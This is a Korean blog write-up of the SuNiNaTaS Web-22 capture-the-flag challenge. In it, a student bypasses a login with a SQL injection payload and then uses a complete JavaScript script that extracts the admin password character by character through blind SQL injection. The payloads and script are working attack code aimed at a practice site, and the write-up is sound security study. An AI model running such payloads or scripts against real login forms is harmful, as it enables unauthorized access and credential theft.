써니나타스[Web-22 문제풀이]

2025. 11. 20. 16:41·CTF/써니나타스

출처 써니나타스 Web-22

 

로그인창이 떠있다. 밑에 친절하게 Blind SQL Injection이라고 나와 있고 또 친절하게 밑에 필터링되는 키워드가 나열되어 있다.

Blind SQL injection 이란?

- 공격자가 참/거짓 형태의 반응으로 데이터베이스 정보를 추출하는 것입니다.

 

소스코드를 보았다.

 

 

밑에는 Hint에 guest/guest 와 admin pw를 찾으라는 문구가 있었다.

일단 소스코드에 있는 guest/guest로 로그인을 시도해 보았다.

 

 

로그인이 되었다 OK guest 라고 문구가 떴다. 혹시나 해서 admin/admin으로 로그인해 보았다.

 

 

역시나 false로 입구컷 당하였다. 잠시 생각하였고 필터링을 피해서 쓸 수 있는 문구를 작성해 보았다.

 

guest' and 1=1--

 

 

OK guest 문구가 떳다? admin으로 시도해 보았다.

 

 

OK admin 문구가 떳다. 성공인가? 해서 flag값을 찾아봤지만 아무리 봐도 없었다... ㅜ.ㅜ

문득 힌트에 있는 admin pw를 구해라라는 문구가 생각이 났다 아 혹시 이걸 통해서 pw를 알아내라는 것인가? 했다

그래서 어떻게 할 수 있을까 하다가 len()함수를 써서 비밀번호가 길이가 무엇인지부터 알아보기로 했다. 일단 burp suite 도구에 프락시를 켜서 시도해 보았다.

 

 

 

 

 

Response 문구에 admin키워드 검색을 하였다 만약 로그인이 성공이 된다면 OK admin 문구가 뜰 테니 말이다.

 

 

길이를 하나씩 늘려보기 시작하였다.

1부터 ~ ? 까지

그러던 도중 10에서 admin이라는 문구가 2개가 늘린 게 보였다.

 

 

문구가 떴다 OK admin 길이가 10 자릿수인걸 파악했다 혹시나 해서 11까지 늘려봤지만 실패였다. 자릿수가 10자리인걸 알았고 이제 이것을 추출해내야 하는데 자바스크립트로 짠 코드를 활용해 보았다. (substring 함수 사용)

 

const url = "http://suninatas.com/challenge/web22/web22.asp";
const USER = "admin";
let binar = [];
let index = 0;

// fetch POST 요청 함수
async function post(url, params) {
    const formData = new URLSearchParams();
    for (const key in params) formData.append(key, params[key]);

    const response = await fetch(url, {
        method: "POST",
        headers: { "Content-Type": "application/x-www-form-urlencoded" },
        body: formData
    });

    return response.text();
}

(async () => {
    for (let len = 1; len <= 10; len++) {
        for (let x = 32; x < 127; x++) {
            const value2 =
                "admin' and substring(pw," +
                len +
                ",1) = '" +
                String.fromCharCode(x) +
                "'--";

            const params2 = { id: value2, pw: "1" };

            const responseText = await post(url, params2);

            if (responseText.includes("OK")) {
                binar[index] = String.fromCharCode(x);
                console.log(String.fromCharCode(x));
                index++;

                // 비밀번호 10자리 완성
                if (index === 10) {
                    console.log(USER + "'s password : " + binar.join(""));
                }
                break;
            }
        }
    }
})();

 

시도한 결과 

 

 

admin의 비밀번호는 N1c3Bilnl이 였다 로그인을 시도하면 flag값이 나오겠지? 하고 기대하면서 로그인을 시도해 보았다.

 

??

? flag 값이 안 나온다 혹시 몰라 소스코드에 봤는데 나오지 않았다... 머지??

 

10분 고민하고 순간 떠올랐다. 아 혹시 이게 flag값이라는 건가? 하고 그래서 Auth에 넣어봤더니

 

 

축하한다는 문구와 함께 문제를 풀어낼 수 있었다.

 

'CTF > 써니나타스' 카테고리의 다른 글

써니나타스[Web-23 문제풀이]  (0) 2025.12.04
써니나타스[Web-8 문제풀이]  (0) 2025.11.19
써니나타스[Web-7 문제풀이]  (0) 2025.11.17
써니나타스 [Web-6 문제풀이]  (0) 2025.11.14
써니나타스 [Web-5 문제풀이]  (0) 2025.11.12
'CTF/써니나타스' 카테고리의 다른 글
  • 써니나타스[Web-23 문제풀이]
  • 써니나타스[Web-8 문제풀이]
  • 써니나타스[Web-7 문제풀이]
  • 써니나타스 [Web-6 문제풀이]
Rookie_W
Rookie_W
Rookie 님의 블로그 입니다. IT 관련 공부(정보보안)를 하는 학생입니다. 공부하는 과정을 블로그에 남기고자 개설하였습니다.
  • Rookie_W
    Rookie 공부 노트
    Rookie_W
  • 공지사항

    • Rookie의 (정보보안) 공부 블로그 입니다.
  • 전체
    오늘
    어제
  • 블로그 메뉴

    • 홈
    • 글쓰기
    • 관리 페이지
    • 분류 전체보기 (120)
      • Programming (8)
        • Python (8)
      • IT 보안 (2)
        • ASCII Table(아스키 코드표) (1)
        • 개념 정리 (1)
      • 정보보안기사 (8)
        • 일반 (0)
        • 시스템 보안 (0)
        • 네트워크 보안 (2)
        • 웹 보안 (0)
        • 법률 (0)
      • Web Hacking Practice (57)
        • Webgoat (1)
        • 취약점 진단 (25)
        • 웹 모의해킹 (29)
        • portswigger web security ac.. (2)
      • Security Analysis & Researc.. (0)
      • Certifications (14)
        • 네트워크 관리사 (13)
        • cbt 오답노트 (1)
      • Education (8)
        • SK Shields Rookies (8)
      • CTF (13)
        • 써니나타스 (11)
        • CTFtime (2)
      • Markdown 사용법 (0)
      • Hacking tools (3)
      • Deep Learning & Machine Lea.. (5)
        • 데이터수집 (1)
        • 기초통계 (1)
        • 데이터전처리 (1)
        • 머신러닝_지도학습 (1)
        • 머신러닝_비지도학습 (1)
      • 라우터 (1)
      • 관리자전용 (0)
  • 링크

    • Github
    • Dreamhack
  • 인기 글

  • 태그

    네트워크
    nos
    linux
    sql injection
    정보보안기사
    XSS
    파일업로드
    루키즈34기
    WEB
    File Inclusion
    루키즈
    문제풀이
    모의해킹
    OS injection
    민감한 데이터 노출
    보안대책
    SK쉴더스루키즈
    써니나타스
    정보수집
    Web-3
  • hELLO· Designed By정상우.v4.10.5
Rookie_W
써니나타스[Web-22 문제풀이]
상단으로

티스토리툴바